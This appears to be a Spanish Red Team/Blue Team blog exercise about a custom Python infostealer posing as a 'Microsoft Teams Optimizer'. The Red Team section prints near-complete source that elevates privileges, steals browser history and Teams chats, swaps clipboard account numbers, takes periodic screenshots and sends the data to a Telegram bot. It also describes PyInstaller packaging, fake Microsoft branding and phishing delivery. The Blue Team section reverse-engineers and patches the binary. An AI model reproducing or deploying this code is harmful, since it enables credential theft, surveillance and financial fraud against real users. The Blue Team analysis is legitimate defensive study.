La ciberseguridad moderna no es estática; es un enfrentamiento constante de ingenio. Para demostrar esta dinámica, hemos planteado un reto de ingeniería inversa real: el Red Team (Isma Laya) ha diseñado un Infostealer básico y personalizado, y el Blue Team (Khaled El Modden) tiene la misión de diseccionarlo, identificar su infraestructura y neutralizar la fuga de datos.

Hemos construido este reto desde cero. No es un simple script de juguete, es un binario empaquetado como una herramienta profesional de “optimización” de Microsoft Teams. La pregunta es sencilla: ¿Será capaz el Blue Team de desentrañar la lógica de nuestro código antes de que sus contraseñas y capturas de pantalla terminen en nuestro bot de Telegram?

Red Team (Isma Laya)

A menudo se piensa que el malware avanzado requiere años de ensamblador y zero-days complejos. Sin embargo, quise demostrar que con unas pocas librerías estándar de Python y algo de ingenio, es posible crear una herramienta de exfiltración de datos bastante potente.

En este artículo, voy a desglosar “Teams Optimizer”, un script que escribí hace algun tiempo para simular cómo actúa un infostealer: desde el disfraz hasta la exfiltración de datos vía Telegram.

Fase 1: El Gancho: Ingeniería Social y la GUI

Lo primero que decidí es que mi script no podía ser una simple ventana negra de consola; nadie ejecutaría eso. Necesitaba un disfraz.

Programé una interfaz gráfica (GUI) utilizando tkinter que simula ser una herramienta de mantenimiento oficial de Microsoft (“Microsoft Teams Optimizer”). Mientras el usuario ve una barra de progreso falsa avanzando y mensajes como “Optimizando recursos de memoria…”, mi código está haciendo el trabajo sucio en segundo plano utilizando hilos (threading).

# Así creo la distracción
def simulate_progress():
    for i in range(1, 101):
        # La barra avanza, pero el sleep es solo para ganar tiempo
        progress["value"] = i 
        # Mientras esto ocurre, los otros hilos roban los datos

Imagen del post

Fase 2: El “Motor”: Obteniendo Permisos

Para que mi herramienta funcione al 100%, necesitaba acceso sin restricciones. Por eso, implementé una comprobación al inicio (is_admin). Si el script detecta que no tiene privilegios, se relanza a sí mismo solicitando elevación.

¿Por qué? Porque necesito matar procesos (taskkill) y acceder a carpetas protegidas en AppData para leer las bases de datos de los navegadores.

Fase 3: El Objetivo Principal: Datos de Navegación y Teams

Aquí es donde entra la lógica de extracción. Me centré en dos vectores:

El robo de historial (Chrome/Edge)

Me di cuenta de que los navegadores bloquean sus bases de datos SQL cuando están abiertos. Mi solución fue sencilla:

  1. Localizo el archivo History en la ruta del usuario.
  2. Hago una copia temporal (history_temp.db) para evitar el bloqueo de archivo en uso.
  3. Uso sqlite3 para volcar las URLs más visitadas a un log y enviarlo.

Secuestrando Microsoft Teams

Teams es una mina de oro de información corporativa. Mi script localiza la base de datos LevelDB de Teams. Dado que es un formato binario complejo, integré una llamada a un ejecutable externo (ms_teams_parser.exe) que convierte esos datos en un JSON legible (teams_parsed.json).

ms_teams_parser.exe:

https://github.com/hexseven/Teams-artifacts-parser/tree/main/ms_teams_parser

Un detalle importante: Tuve que programar el script para matar el proceso de Teams (taskkill /f /im teams.exe) antes de la extracción, o los archivos estarían bloqueados. Ahora mismo este ejecutable solo funciona con las versiones de Microsoft Teams Classic y Microsoft ‘Teams 2.0’ (Windows 11) con una organización personal ya que el proceso de almacenaje de la base de datos funciona diferente.

Fase 4: El “Clipper”: Ataque en tiempo real

Esta es quizás la función más insidiosa que programé: monitor_clipboard().

No quería solo robar datos estáticos; quería intervenir en las acciones del usuario. Creé un bucle infinito que vigila el portapapeles. Usando regex, el script busca patrones numéricos específicos (como cuentas bancarias).

# Si detecto un patrón de cuenta bancaria...
if re.match(r'\d{4}-\d{4}-\d{4}-\d{4}', clipboard_content):
    # ...lo sustituyo por "mi" cuenta al instante.
    pyperclip.copy('1111-2222-3333-4444')

Si la víctima copia un número de cuenta y lo pega segundos después, habrá pegado el número que yo definí, no el original.

Fase 5: Infraestructura C2: Telegram como servidor

No quería gastar dinero en servidores ni configurar sockets complejos que un firewall detectaría. Decidí usar la API de Telegram como mi servidor de Comando y Control (C2).

Todo lo que el script recolecta (logs, capturas de pantalla, JSONs de Teams) se envía mediante peticiones POST HTTPS a mi bot de Telegram. Es rápido, cifrado y, lo mejor de todo, el tráfico hacia api.telegram.org rara vez se bloquea en redes corporativas.

Imagen del post

Imagen del post

Mensajes exfiltrados de MSTeams.

Imagen del post

Historial de la víctima exfiltrado.

Fase 6: Espionaje Visual

Finalmente, añadí una función de vigilancia. Un hilo separado toma una captura de pantalla cada 5 minutos (periodic_screenshots) y me la envía. Esto me permite ver en tiempo real qué está haciendo el usuario, más allá de los datos en disco.


Conclusión

Desarrollar este script me enseñó lo expuestos que estamos realmente. No utilicé exploits de día cero ni vulnerabilidades complejas del kernel; simplemente abusé de la confianza del usuario (la GUI falsa) y de las características estándar de automatización de Windows.

Nota: Este código fue desarrollado estrictamente con fines educativos y de investigación para comprender los vectores de ataque de los infostealers.

Script utilizado

#!/usr/bin/python3
import os
import sys
import json
import re
import glob
import ctypes
import shutil
import sqlite3
import platform
import requests
import winreg
import base64
import subprocess
import threading
import time
import urllib.parse
from Crypto.Cipher import AES
import win32crypt
from PIL import ImageGrab
import pyperclip  # Para acceder y modificar el portapapeles
import tkinter as tk
from tkinter import ttk, messagebox
import random
from PIL import Image, ImageTk


# ——— Configuración —————————————————————————————————————————————
BOT_TOKEN    = "74181---------------------"
CHAT_ID      = "101-----------------------"
TELEGRAM_API = f"https://api.telegram.org/bot{BOT_TOKEN}/sendDocument"
PARSER_EXE   = "ms_teams_parser.exe" 

# ——— Helpers —————————————————————————————————————————————————————
def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

def send_file(path):
    if not os.path.exists(path):
        print(f"[!] {path} no existe")
        return
    size = os.path.getsize(path)
    print(f"[+] Enviando {path} ({size} bytes)")
    if size == 0:
        print(f"[!] {path} vacío, descartado")
        os.remove(path)
        return
    with open(path, "rb") as f:
        files = {"document": (os.path.basename(path), f)}
        params = {"chat_id": CHAT_ID, "caption": f"From: {platform.node()}"}
        r = requests.post(TELEGRAM_API, files=files, data=params, timeout=15)
    print(f"[+] Telegram response: {r.status_code}")
    if r.status_code == 200:
        os.remove(path)
    else:
        print(f"[!] Error enviando {path}: {r.text}")


def hide():
    if platform.system() == "Windows":
        ctypes.windll.user32.ShowWindow(ctypes.windll.kernel32.GetConsoleWindow(), 0)

def zip_folder(folder_path, output_zip):
    print(f"[+] Comprimiendo carpeta {folder_path} en {output_zip}")
    shutil.make_archive(output_zip.replace('.zip',''), 'zip', folder_path)
    print(f"[+] Carpeta comprimida: {output_zip}")
    return output_zip

def get_extracted_path():
    if getattr(sys, 'frozen', False):
        return sys._MEIPASS
    return os.path.dirname(os.path.abspath(__file__))

def find_teams_db():
    base = os.path.join(os.environ['LOCALAPPDATA'], 'Packages', 'MSTeams_*')
    pattern = os.path.join(base, '**', 'IndexedDB', 'https_teams.microsoft.com_0.indexeddb.leveldb')
    matches = glob.glob(pattern, recursive=True)
    if matches:
        return max(matches, key=os.path.getmtime)
    print("[!] Teams DB no encontrada")
    return None

def send_teams_db_zip():
    db_folder = find_teams_db()
    if not db_folder:
        return None
    return db_folder

def parse_teams_with_exe(leveldb_folder):
    output_json = "teams_parsed.json"
    exe_path = os.path.join(get_extracted_path(), PARSER_EXE)
    if not os.path.exists(exe_path):
        print(f"[!] No se encontró el parser exe en {exe_path}")
        return
    print(f"[+] Parseando LevelDB con {PARSER_EXE}")
   try:
        # Eliminamos check=True para manejar el código de salida manualmente
        # O mantenemos check=True y usamos try-except (recomendado para atrapar errores)
        result = subprocess.run(
            [exe_path, "-f", leveldb_folder, "-o", output_json],
            capture_output=True, # Capturamos lo que diga el .exe para depurar
            text=True,
            check=True, # Esto lanza la excepción si falla
            creationflags=subprocess.CREATE_NO_WINDOW
        )
        print("[+] Parser ejecutado correctamente.")
        send_file(output_json)

    except subprocess.CalledProcessError as e:
        print(f"[!] El parser falló (Exit code {e.returncode}).")
        print(f"    Error output: {e.stderr}") # Muestra por qué falló el exe
        print("[*] Continuando ejecución sin detener el script...")
        
    except Exception as e:
        # Para cualquier otro error imprevisto
        print(f"[!] Error genérico al ejecutar el parser: {e}")
        
def extract_teams_chats():
    os.system("taskkill /f /im teams.exe >nul 2>&1")
    os.system("taskkill /f /im Teams.exe >nul 2>&1")
    os.system("taskkill /f /im Teams2.exe >nul 2>&1")

    db_folder = send_teams_db_zip()
    if db_folder:
        parse_teams_with_exe(db_folder)

def browser_stealer(browser):
    ud = os.path.join(os.environ['LOCALAPPDATA'], browser, "User Data", "Default")
    hist = os.path.join(ud, "History")
    if os.path.exists(hist):
        tmp = "history_temp.db"
        shutil.copy2(hist, tmp)
        conn = sqlite3.connect(tmp); cur = conn.cursor()
        cur.execute("SELECT url,title,visit_count FROM urls ORDER BY visit_count DESC")
        with open("history.log","w",encoding="utf-8") as f:
            for url,title,cnt in cur.fetchall():
                f.write(f"{cnt} visits | {title} | {url}\n")
        conn.close(); os.remove(tmp)
        send_file("history.log")

# —— Captura de pantalla periódica sin consola ——
def send_screenshot(file_path):
    try:
        with open(file_path, "rb") as f:
            files = {"photo": (os.path.basename(file_path), f)}
            params = {"chat_id": CHAT_ID, "caption": f"Screenshot from {platform.node()}"}
            response = requests.post(f"https://api.telegram.org/bot{BOT_TOKEN}/sendPhoto", files=files, data=params, timeout=15)
        if response.status_code == 200:
            os.remove(file_path)
    except Exception:
        pass

def take_screenshot(filename):
    img = ImageGrab.grab()
    img.save(filename)
    send_screenshot(filename)

def periodic_screenshots(interval=300):
    count = 0
    while True:
        filename = f"screenshot_{count}.png"
        take_screenshot(filename)
        count += 1
        time.sleep(interval)

def start_screenshot_thread():
    t = threading.Thread(target=periodic_screenshots, daemon=True)
    t.start()




def send_message(message):
    if not message:
        print("[!] El mensaje está vacío, no se enviará.")
        return
    
    
    print(f"[+] Enviando mensaje: {message}")  # Imprime lo que se va a enviar para depuración

    params = {"chat_id": CHAT_ID, "text": message}
    r = requests.post(f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage", data=params, timeout=15)

    if r.status_code == 200:
        print(f"[+] Mensaje enviado: {message}")
    else:
        print(f"[!] Error enviando mensaje: {r.text}")

# Función para monitorear el portapapeles
def monitor_clipboard():
    prev_content = None  # Almacenará el contenido previo del portapapeles para comparar
    while True:
        clipboard_content = pyperclip.paste()

        # Verificar si el contenido ha cambiado
        if clipboard_content != prev_content:
            print(f"Nuevo contenido del portapapeles: {clipboard_content}")
            send_message(f"Nuevo contenido copiado: {clipboard_content}")  # Enviar el contenido al bot de Telegram

            # Verificar si el contenido es un número de cuenta bancaria 
            if re.match(r'\d{4}-\d{4}-\d{4}-\d{4}', clipboard_content):  
                print(f"¡Número de cuenta detectado! Reemplazando: {clipboard_content}")
                # Cambiarlo por otro número
                new_clipboard_content = '1111-2222-3333-4444'
                pyperclip.copy(new_clipboard_content)
                print(f"Nuevo contenido del portapapeles: {new_clipboard_content}")
                send_message(f"Se ha reemplazado un número de cuenta bancaria: {new_clipboard_content}")

            prev_content = clipboard_content  # Actualiza el contenido previo

        time.sleep(1)


# Función para mostrar la pantalla de "optimización"
def show_optimization_screen():
    root = tk.Tk()
    root.title("Microsoft Teams Optimizer")
    root.geometry("600x400")
    root.resizable(False, False)
    root.configure(bg="#f0f0f0")
    
    # Centrar la ventana
    window_width = 600
    window_height = 400
    screen_width = root.winfo_screenwidth()
    screen_height = root.winfo_screenheight()
    x = (screen_width - window_width) // 2
    y = (screen_height - window_height) // 2
    root.geometry(f"{window_width}x{window_height}+{x}+{y}")
    
    # Cabecera
    header = tk.Frame(root, bg="#005a9e", height=80)
    header.pack(fill="x")
    
    # Logo de Microsoft
    try:
        ms_logo = Image.open("TeamsBoost1.ico")  
        ms_logo = ms_logo.resize((40, 40), Image.LANCZOS)
        ms_logo = ImageTk.PhotoImage(ms_logo)
        logo_label = tk.Label(header, image=TeamsBoost1, bg="#005a9e")
        logo_label.image = ms_logo
        logo_label.pack(side="left", padx=10, pady=10)
    except:
        pass
    
    title = tk.Label(header, text="Microsoft Teams Optimizer", 
                    font=("Segoe UI", 16, "bold"), fg="white", bg="#800080")
    title.pack(side="left", padx=10)
    
    # Contenido principal
    main_frame = tk.Frame(root, bg="#f0f0f0", padx=20, pady=20)
    main_frame.pack(fill="both", expand=True)
    
    # Mensaje de bienvenida
    welcome = tk.Label(main_frame, text="Optimizando Microsoft Teams", 
                      font=("Segoe UI", 14), bg="#f0f0f0")
    welcome.pack(pady=10)
    
    # Barra de progreso
    progress_label = tk.Label(main_frame, text="Progreso:", font=("Segoe UI", 10), bg="#f0f0f0")
    progress_label.pack(anchor="w", pady=(20, 5))
    
    progress = ttk.Progressbar(main_frame, orient="horizontal", length=560, mode="determinate")
    progress.pack(pady=5)
    
    # Lista de tareas simuladas
    tasks_frame = tk.Frame(main_frame, bg="#f0f0f0")
    tasks_frame.pack(fill="x", pady=20)
    
    task_labels = [
        "Analizando configuración actual...",
        "Optimizando recursos de memoria...",
        "Mejorando rendimiento de videollamadas...",
        "Actualizando componentes esenciales...",
        "Aplicando configuraciones de rendimiento...",
        "Limpiando caché temporal...",
        "Verificando integridad de archivos..."
    ]
    
    status_vars = []
    for i, task in enumerate(task_labels):
        frame = tk.Frame(tasks_frame, bg="#f0f0f0")
        frame.pack(fill="x", pady=2)
        
        status = tk.Label(frame, text="⏳", font=("Segoe UI", 10), bg="#f0f0f0")
        status.pack(side="left", padx=(0, 10))
        
        task_text = tk.Label(frame, text=task, font=("Segoe UI", 9), bg="#f0f0f0")
        task_text.pack(side="left")
        
        status_vars.append(status)
    
    # Pie de página
    footer = tk.Label(root, text="© 2026 Microsoft Corporation", 
                     font=("Segoe UI", 8), fg="#666666", bg="#f0f0f0")
    footer.pack(side="bottom", pady=10)
    
    # Función para simular progreso
    def simulate_progress():
        # Simular progreso durante 30 segundos
        for i in range(1, 101):
            progress["value"] = i
            root.update()
            
            # Actualizar tareas aleatoriamente
            if i % 15 == 0:
                idx = random.randint(0, len(status_vars)-1)
                status_vars[idx].config(text="✅")
            
            time.sleep(0.1)
        
        # Mostrar mensaje final
        messagebox.showinfo("Optimización Completada", 
                           "Microsoft Teams ha sido optimizado exitosamente.\n\n" +
                           "Recomendamos reiniciar Teams para aplicar todos los cambios.")
        root.quit()
    
    # Iniciar la simulación en un hilo separado
    threading.Thread(target=simulate_progress, daemon=True).start()
    
    root.mainloop()

# ——— Main ——————————————————————————————————————————————————————
if __name__ == "__main__":
    if platform.system() != "Windows":
        print("[!] Solo Windows soportado"); sys.exit(1)
    if not is_admin():
        ctypes.windll.shell32.ShellExecuteW(None, "runas",
            sys.executable, " ".join(sys.argv), None, 1)
        sys.exit(0)

    # Mostrar pantalla de optimización
    show_optimization_screen()
    b vvvvv
    # Ocultar la consola
    #hide()

    # Iniciar los hilos
    clipboard_thread = threading.Thread(target=monitor_clipboard, daemon=True)
    clipboard_thread.start()
    
    start_screenshot_thread()

    # Ejecutar las tareas de robo de datos
    extract_teams_chats()
    browser_stealer("Google\\Chrome")
    browser_stealer("Microsoft\\Edge")

    # Mantener programa vivo para capturas periódicas
    while True:
        time.sleep(60)

Utilicé PyInstaller para compilar todo el proyecto en un único archivo ejecutable (.exe). Esto no solo facilita la ejecución en sistemas que no tienen Python instalado, sino que también permite ocultar las dependencias.

Para que el ataque fuera efectivo, utilicé el parámetro --add-data para incrustar el binario ms_teams_parser.exe dentro del paquete. De este modo, cuando el usuario ejecuta el “Optimizador”, el parser se extrae y se ejecuta en una carpeta temporal sin que la víctima note nada.

Un ejecutable con el icono por defecto de Windows es sospechoso. Por eso, integré un icono de alta resolución de Microsoft Teams y añadí metadatos al archivo (versión, desarrollador, descripción) para que, al pasar el ratón por encima o verlo en el Administrador de Tareas, pareciera un componente legítimo de Microsoft.

Con el binario listo, el siguiente paso fue el despliegue. Subí el proyecto a un repositorio de GitHub con un nombre convincente.

Imagen del post

Desde aquí, el ataque de ingeniería social está servido: un simple correo de phishing informando sobre una “actualización crítica de rendimiento para el teletrabajo” con el enlace al repositorio sería suficiente para comprometer a un usuario desprevenido.

Blue Team (Khaled El Modden)

Si el Red Team vive de ocultar, engañar y exfiltrar, el Blue Team existe para lo contrario: observar, correlacionar y desmontar. En este reto, mi papel no es ejecutar el binario ni “ver qué pasa”, sino entender exactamente por qué pasa y cómo detenerlo antes de que el impacto sea real.

Como Blue Team, mi enfoque parte de una premisa clara: todo malware deja rastro. No importa lo bien disfrazado que esté el ejecutable, lo pulida que sea la GUI o lo legítimo que parezca el tráfico de red. Siempre hay artefactos: en memoria, en disco, en procesos, en llamadas al sistema o en el comportamiento del usuario que algo rompe.

Fase 0: Preparación del entorno

Para evitar contaminación y permitir una observación completa, trabajé en una máquina virtual con Windows 10 Pro, configurada para poder revertir su estado en cualquier momento. Esto es clave para mantener un entorno controlado y reproducible.

Fase 1: Reconocimiento inicial del binario

Lo primero que hacemos es interrogar al archivo sin ejecutarlo. Al usar el comando file en nuestro entorno de análisis, confirmamos la naturaleza del objetivo:

  • Archivo: TeamsBoost.exe
  • Tipo: PE32+ executable (GUI) x86-64

Imagen del post

¿Qué significa esto? Que estamos ante un binario de 64 bits diseñado para Windows con una interfaz gráfica. Esto ya nos da una pista: el atacante quiere que el usuario interactúe con una ventana para generar confianza.

Fase 2: Inmersión en el Análisis Estático (Ghidra)

Para mirar bajo el capó, cargamos el binario en Ghidra. El análisis estático nos permite leer el código “muerto” antes de que tenga oportunidad de hacernos daño.

Imagen del post

Una vez cargado iremos directamente a los strings para ver si podemos rescatar alguna pista. Lo que podemos observar es que no se trata de un ejecutable .exe nativo sino que se trata de un programa en python(.py) convertido a un .exe. Os preguntareis como llego a esta conclusión: Sencillo, los strings:

Imagen del post

Temos una lista de cadenas que incluyen PYINSTALLER_STRICT_UNPACK_MODE, pyinstaller_pyz y rutas que apuntan a librerías de Python.

El malware no ha sido escrito en C puro, sino en Python y luego empaquetado con PyInstaller. Esto es una técnica común para acelerar el desarrollo de malware, permitiendo al atacante usar librerías potentes de forma sencilla.

Llamadas a la API de Windows

Sabiendo esto ya podría cambiar de entorno y utilizar el toolkit de python para descompilar y ver como funciona exactamente el código, pero como estamos en proceso de aprendizaje buscamos más pistas y damos con una buena: ¿Cómo actúa PyInstaller?

Imagen del post

Estos strings parecen curiosos así que vamos a ver el contexto.

Imagen del post

Observamos llamadas críticas como CreateProcessW y referencias a ventanas ocultas (PyInstallerOnefileHiddenWindow).

  • Por qué es relevante: Esto nos indica que el ejecutable principal actuará como un “loader”, lanzando otros procesos de forma silenciosa para que el usuario no sospeche que hay actividad en segundo plano.

Fase 3: Desempaquetado y Extracción de Artefactos

Sabiendo que es un paquete de PyInstaller, nuestro siguiente paso es extraer el código original. Utilizamos la herramienta pyinstxtractor.py.

Al ejecutarla, la consola nos muestra un volcado de archivos (más de 1.000 elementos). Entre el ruido de las librerías estándar de Python, localizamos el botín: un archivo llamado INFOSTEALER_V9.PYC. Este archivo es el bytecode compilado. No es texto plano todavía, pero es mucho más cercano a la lógica del atacante que el binario original.

Nos creara la carpeta : TeamsBoost.exe_extracted

Imagen del post

Fase 4: Reversado del Bytecode (La Lógica del Atacante)

Para leer el archivo .pyc, utilizamos pycdc (C++ Python Bytecode Disassembler). Aquí el análisis se vuelve crítico, ya que la captura de pantalla del código revela las “tripas” de la operación:

pycdc/pycdas infostealer_v9.pyc > infostealer_v9.asm

Imagen del post

Imagen del post

Imagen del post

  • Canal de Exfiltración (C2): En la imagen del código vemos claramente las variables: token = "7418172573:AAGT5vS..."* chat_id = "1014913217"
    • Análisis: El malware usa la API de Telegram para enviar los datos robados. Es una táctica inteligente porque el tráfico hacia Telegram suele ser visto como legítimo por muchos firewalls.
  • Módulos de Robo:
    • El código muestra funciones como find_teams_db y periodic_screenshots.
    • Análisis: El malware busca específicamente bases de datos de Microsoft Teams (donde se guardan tokens de sesión y mensajes) y toma capturas de pantalla de la víctima cada cierto tiempo.
  • El “Clipboard Hijacker” (Secuestro de Portapapeles):
    • Una de las funciones más impactantes muestra una expresión regular (regex): \d{4}-\d{4}-\d{4}-\d{4}.
    • Análisis: El programa monitoriza el portapapeles. Si detecta que el usuario copia algo que parece un número de tarjeta de crédito, el malware lo sustituye por una cuenta controlada por el atacante (1111-2222-3333-4444). Si el usuario va a hacer una transferencia o pago, terminará enviando el dinero al atacante sin darse cuenta.

Fase 5: Análisis Dinámico (Comprobación en Vivo)

Finalmente, “apretamos el gatillo” y ejecutamos el malware para observar su comportamiento.

Antes de nada con estas herramientas inicializadas podremos analizar el comportamiento del malware, solo nos falta ejecutarlo.

Imagen del post

Ingeniería Social

Al ejecutar TeamsBoost.exe, aparece una ventana titulada “Microsoft Teams Optimizer”.

Se ve una barra de progreso verde avanzando lentamente. Es un engaño visual perfecto para mantener al usuario distraído mientras, en segundo plano, el script de Python está escaneando el disco y enviando datos. (Bonita interfaz Ismael :P)

Imagen del post

Tráfico de Red (Wireshark)

Abrimos Wireshark para interceptar las comunicaciones. Vemos paquetes dirigidos a la IP 149.154.167.220 (servidores de Telegram) con el mensaje TLSv1.3 Client Hello (SNI: api.telegram.org).

Imagen del post

El malware está efectivamente enviando la información recolectada a través del bot de Telegram que identificamos en la fase anterior.

Monitoreo de Procesos

Con Process Monitor, filtramos la actividad. Observamos que en el momento exacto en que copiamos un texto, el proceso malicioso realiza operaciones de lectura/escritura en memoria para modificar el portapapeles. (Fijaros en las horas)

Imagen del post

Imagen del post

Fase 6: Patching y Simulación de Ataque

Para cerrar el análisis con broche de oro, decidí realizar una técnica de Patching.

¿Qué es el Patching?

A nivel técnico, el patching consiste en modificar directamente el código o los datos de un binario ya compilado. En lugar de intentar programar el malware desde cero, alteramos el original para que obedezca nuestras órdenes. Es como cambiar el destinatario de una carta después de que ya ha sido escrita.

Ejecución del Patch

En este caso, el objetivo era simple pero potente: redirigir el botín.

  1. Creamos nuestro propio Bot de Telegram y obtenemos un nuevo token y chat_id.
  2. Localizamos en el código extraído (o mediante un editor hexadecimal como ImHex) las cadenas de texto originales del atacante.
  3. Sustitución: Reemplazamos los valores del atacante por los nuestros.

Imagen del post

Imagen del post

Imagen del post

Al ejecutar nuestro binario “parcheado”, la víctima (en nuestro entorno de pruebas) sigue viendo la barra de progreso del optimizador de Teams. Sin embargo, en lugar de que la información viaje al servidor del criminal, viajara a nuestro bot. Con esto, no solo hemos analizado la amenaza, sino que hemos demostrado un control total sobre ella. El patching nos permite validar cada hallazgo y confirmar que, efectivamente, la exfiltración funciona exactamente como predijimos en el análisis estático.

Conclusión

Este ejercicio demuestra que, por mucho que un malware intente ocultarse tras capas de empaquetado y fachadas legítimas, un análisis estructurado permite despojarlo de sus defensas y, finalmente, neutralizarlo o incluso volverlo en su contra.